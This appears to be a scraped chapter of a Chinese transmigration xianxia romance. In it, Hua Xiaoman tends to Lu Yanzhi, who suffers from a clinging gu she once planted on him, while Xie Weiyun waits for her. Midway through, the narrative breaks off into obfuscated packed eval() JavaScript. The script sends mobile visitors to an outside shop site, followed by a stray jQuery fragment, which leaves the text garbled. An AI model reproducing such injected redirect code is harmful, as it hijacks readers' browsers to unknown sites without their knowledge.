陆言之的体温异常滚烫。
烫到什么程度——
倘若让他和冷冰冰的谢微云站一起,两人一左一右,说不准温度正好能抵消掉,兄弟俩都舒坦了。
所以,陆言之机灵点的话,就该去呼叫谢微云,两哥们协调一下。
但他糊涂。
偏要把她喊来。
华小满此刻大脑有点懵。
被猝不及防一拽,她立马失去平衡,飞速往下扑,咚的一声,她一把将陆言之推在了身下。
如此霸道的姿势让她不由自主想起了霸王硬上弓的初见。
不争气的陆言之仍然是弓。
不过现在纯纯就是个意外。
为了避免不必要的误会,华小满规规矩矩利落地爬起身,但陆言之长指扣在她胳膊上,她动弹不了半分。
她费劲地抽了下手臂,对方拽得越狠,力量悬殊下,一时脱不开身。
“……”角色怎么颠倒了。
带着满头疑问,她忍不住开口:“师兄,你中邪了?”
昏暗中,耳边呼来灼热的气息,陆言之摇了摇脑袋,却没有出声。
他意识似乎有点模糊。
落在她身上的手指向上挪动了一寸,仿佛在探寻什么,指尖轻轻点了下,克制却又不受控制,令人瘆得慌。
她一言难尽地说:“师兄,请自重。”
甚至无奈地摊了摊手:“我已经不搞这行了。”
潜台词:她修身养性,不搞男人。
但陆言之被蛊惑了般,对她的话置若罔闻,一声不吭中愈发失了礼数。
目前这状况,见多识广的华小满猜个大概。
陆言之极有可能中了什么少儿不宜的毒,焦躁难耐,现急需一人来为他疏解一二。
在小说里,这类情节并不少见,通常是为男女主感情升温设计的,能迅速增加二人接触契机。
但是,她可是女配啊。
恶毒女配怎么可能摊上这事,陆言之简直白给。
原文苍阆山一行中,女主与每位男主皆触发了相应剧情,从而展开不同副本,产生巧妙互动。
这段故事最激动人心的,就是几个男人拈酸吃醋的修罗场。
谁都想在女主心中占据一席之地,可谁都无法成为唯一,于是暗中较劲,疯狂孔雀开屏。
八字总结:血雨腥风,醋海横波。
就连窍才开了一半的齐鸣夏,也在不知不觉中茶里茶气,磕着碰着了,都要有意无意晃悠到女主跟前,试图博取同情。
总之还蛮有意思的。
只可惜女主没赶上趟,陆言之点又太背,以至于这段饱含暧昧的剧情阴差阳错砸在她头上。
华小满暗自“咦”了一声。
这剧情扣她头顶,实在太狠毒了。
一来这是在免费打白工,二来会让她本就少得可怜的声誉雪上加霜。
这段时日她勤勤恳恳行动,绝不能败在这一晚。
她低下头,啪的一声拍开陆言之的手,再扣住他的肩,使劲摇晃:“陆师兄你清醒一点,我不是我姐!”
同时悄咪咪收紧两指,在他肩上狠狠掐了一把。
重复七八遍后,陆言之清醒过来。
他手扶着树干慢慢坐起,默声静了好一会,才缓过来。
抬头扫了眼颇有微词的华小满,立即捋清事情原委,包括将她喊来一事,以及方才失态之景。
他抬手揉了揉太阳穴,神情懊恼,张了张口,随即道了一声歉。
“抱歉。”
嗓音是脱水后的低沉干哑,整个人透着一丝疲惫。
华小满:“没关系。”
她一脸宽容大量,有意让陆言之欠她一个人情。
原地蹲了会后,发现他一时半会死不了,拍了拍手,起身要走:“没什么事我先回去了。”
现在赶回去,时间不早不晚,谢微云这个老狐狸才不会起疑。
陆言之低头沉默,在她走出三四步时,抬起眼眸:“等等……先别走。”
这一声来得迟,音量小,像挣扎犹豫后才说出口的。
华小满头也没回:“师兄,你这样不对。”
半夜约见女配已是犯大忌,明知有错还得寸进尺,身为男主的自觉哪去了。
“我不对……”窸窣的清吟声响起,陆言之捡起一旁的佩剑,“此事分明是你有错在先。”
“啥?”
“你给我种了蛊。”
华小满大吃一惊,转过身往回走,极力证明自身清白:“话可不能难乱说。”
她掰着手指头数:“我在苍阆山待了两天,见了你两次。
上一次见是在昨晚,你压根没搭理我,第二次见是现在,你就冤枉我……”
听着她理直气壮一连串的话,陆言之忍住拔剑的冲动,只说了三个字:“春恩宫。”
声音很轻,也很淡。
华小满立即熄火了。
原来是春恩宫造的孽……
想起来了,原身是给陆言之下过蛊。
此蛊名为粘粘蛊,是她在一些稀奇古怪的书上看到的,觉得新鲜有趣,自己练着玩。
这蛊本是用来牵制敌方,让其为己所用,但原身融合了自己想法,将其魔改成情蛊。
顾名思义,中蛊之人像粘上了狗皮膏药,平日没有异常,但每隔一段时日,必须靠近施术者。
否则,就是陆言之一般。
如蛆附骨,苦痛难耐。
粘粘蛊比较阴险,不同于鸳鸯醉是即时生效,而是不定期发作。
即便远隔天涯海角,中蛊之人必须赶到施蛊者身边,如同在脖子上拴了条铁链,不得自由。
下毒下蛊下鞭子,都是原身能想出的阴招,没想到过去这么久,还要给烂摊子负责售后。
陆言之也算是命运多舛,一旦扯上这类事,他必榜上有名。
华小满一脸忧愁。
出于同情和怜悯,她非常礼貌地问了句:“需要我帮忙吗?”
陆言之不礼貌地回:“你要做什么。”
少女自顾自地在身旁坐下,盯着他脸瞧,似在酝酿什么,陆言之偏了偏头,将手中的剑压在了身上。
“不得放肆。”
“……”
暮色四溢,月明千里。
陆言之腰身挺得笔直,目光落在湖面上,眸底倒映稀碎的光,有点心不在焉。
白皙的长指扣在剑柄,随时方便抽剑,防御工作特别到位。
华小满:“难道真要……”真要他两做点什么。
陆言之递来一个“你想得美”的眼神:“不是。”
粘粘蛊不及鸳鸯醉荒唐,不至于到那地步,但离了她也不行。
只需让子蛊感应到母蛊在附近,便可相安无事。
若拖太久,便会如他方才这般。
陆言之本想解释给她听,但难免要涉及到乱七八糟的内容,他顿了顿,不欲多言。
又怕她轻举妄动,添了个长句:“你就待在这,什么也不用做。”
“哦。”
华小满内心是崩溃的,要像个木桩待上一夜,她不肯干,便和陆言之讨价还价。
她至多再待半个时辰,陆言之阖上眼:“可。”
山林幽幽,静到出奇。
不说点什么,华小满总是闲得慌,侧头瞧了眼,陆言之一副眼不见为净的样子,便打消了自讨没趣的念头。
过了会,她突然冒出个想法。
“师兄醒醒,醒醒。”
“我没睡。”
华小满指了指前面:“这有个湖,或许能帮到你……”
陆言之明白她意思,眼也不睁打断道:“没用的。”
“啊?”
华小满这才注意到,陆言之身上有水痕,发梢沾着水珠,衣摆处是未被风干后的湿冷。
用湖水降温的方式,他早就想到了,并且实操过。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042781|148937||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
由此看来,如若不是逼上绝路,他绝不会找上她。
想起原文,是女主握住陆言之的手在湖边吹了一晚的风,说了一夜的话。
华小满打听起了小八卦:“师兄,我姐是不是特好?”
陆言之毫不迟疑“嗯”了一声。
“她是个顶好的人。”
“好在哪。”
“哪都好。”
陆言之认真想了想:“她行事坦荡,胸怀正义,世间难得有如她一般出色之人……”
还以为是个哑巴,这不一夸起喜欢的人,停也停不下来。
华小满差点笑出声,直到听见他下一句话。
“身为她兄长,我自愧不如。”
“……”
不是,怎么扯上兄妹情了呢。
陆言之继续道:“你姐姐原也要来苍阆山,但……临时有事,便忙去了。”
他是在七曜宗收到华知晴的手书。
九方鼎碎片有线索了。
太幽墟邪物蠢蠢欲动,一旦冲破封印,煞火将流入人间,成为万千邪祟的养料。
华氏作为四大仙门之一,承传太幽墟守护使身份,理应肩负起大任,修复九方鼎。
近年来,华氏四处探寻圣器碎片下落,不负众望,近期总算有所收获。
他原也是要去探寻碎片,但被小满捉进了春恩宫,惹出这些事……
但好在她不是无可救药。
无论是在七曜宗追寻正义,还是在苍阆山降伏螣蛇,皆令人刮目相看。
不过这两件事,都和另一个人有千丝万缕的联系。
陆言之斟酌道:“你和谢微云之间……怎么样?”
华小满没听懂:“什么怎么样。”
“相处如何。”
“比之前好点吧。”
她的话,陆言之只信了一半。
想起地崖时,谢微云将小满抱起的画面,理所当然的样子,不免让人想起二人的婚约。
陆言之忽地睁开了眼:“对了,谢微云知晓你是来见我吗。”
华小满捧着脸:“不知道啊。”
“所以,你是瞒着他来的?”
—
“半个时辰。”
“整整半个时辰了。”
“她散步散到山尖上去了吗?!”
自从华小满离开,冥蝶一直在计算时辰,几乎每隔一刻,都要和谢微云嘟囔几句。
华小满宣称散步去了,它可一点也不信。
每日睡最早起最晚的人,失眠这事哪轮得到她。
况且她企图偷溜出去,被抓包时偷感极重,分明心里有鬼,谁会相信她只是单纯散步去了。
就问谁会信?
偏偏谢微云信。
他闲情逸致地坐在那,轻敲小玉瓶,嗒嗒声有一下没一下响起,剩半瓶的浮山玉露摇晃了一夜。
仿佛将华小满这茬忘得一干二净,只是偶尔有时,会将目光探向漆黑的夜里。
冥蝶试探过几次,暗戳戳提议去将人找回,谢微云不为所动。
被吵得烦躁,才懒洋洋掀起眼皮:“跑不了。”
冥蝶半分不信。
跑不了?
没准人都跑回华氏仙府了。
不行。
必须让谢微云意识到事情的严重性。
冥蝶嘀嘀咕咕:“她就算没跑,也不见得做什么好事去了。”
“江山易改,本性难移。”
“这儿男子众多,万一她……”
话没说完。
谢微云睨了它一眼。
在若明若暗的光线里,目光似凌厉的刃,让人不寒而栗,冥蝶顿时不敢出声。
心中暗喜,他果然在意了。
可谁知,谢微云只是漫不经心地整理了下披风,将帽檐轻轻下扣,闭上一双黑眸。
半晌。
一句没情没绪的话飘出。
“关我什么事。”